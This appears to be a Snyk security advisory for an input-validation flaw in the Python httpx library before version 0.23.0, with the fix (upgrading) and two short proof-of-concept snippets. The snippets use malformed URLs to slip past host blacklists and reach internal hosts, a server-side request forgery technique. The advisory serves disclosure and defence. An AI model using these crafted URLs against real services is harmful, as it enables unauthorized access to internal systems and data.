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Improper Input Validation Affecting httpx Open this link in a new tab package, versions [,0.23.0)

0.0
medium

  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • User Interaction

    Required

  • Confidentiality

    High

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  • snyk-id

    SNYK-PYTHON-HTTPX-2772742

  • published

    13 May 2022

  • disclosed

    21 Apr 2022

  • credit

    lebr0nli

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Introduced: 21 Apr 2022

CWE-20 Open this link in a new tab

How to fix?

Upgrade httpx to version 0.23.0 or higher.

Overview

httpx is a The next generation HTTP client.

Affected versions of this package are vulnerable to Improper Input Validation due to improper implementation of httpx.URL().copy_with, that causes httpx.Client and httpx.Proxy to parse wrong URL. Exploiting this vulnerability leads to blacklist bypass.

PoC:

httpx.Client

user_input_from_http_request = 'http:////admin-dashboard/secret'
u = httpx.URL(user_input_from_http_request)
assert u.host.lower() != 'admin-dashboard'
resp = httpx.Client(base_url=u).get('/') # SSRF to http://admin-dashboard/secret
print(resp.text) # sensitive data leak

httpx.Proxy

user_input_from_http_request = 'http://x@//internal-proxy:8082/'
u = httpx.URL(user_input_from_http_request)
assert u.host.lower() != 'internal-proxy'
# httpx.Proxy(u).url.netloc == b'internal-proxy:8082'
resp = httpx.Client(proxies=u).get('/') # will request via http proxy at internal-proxy:8082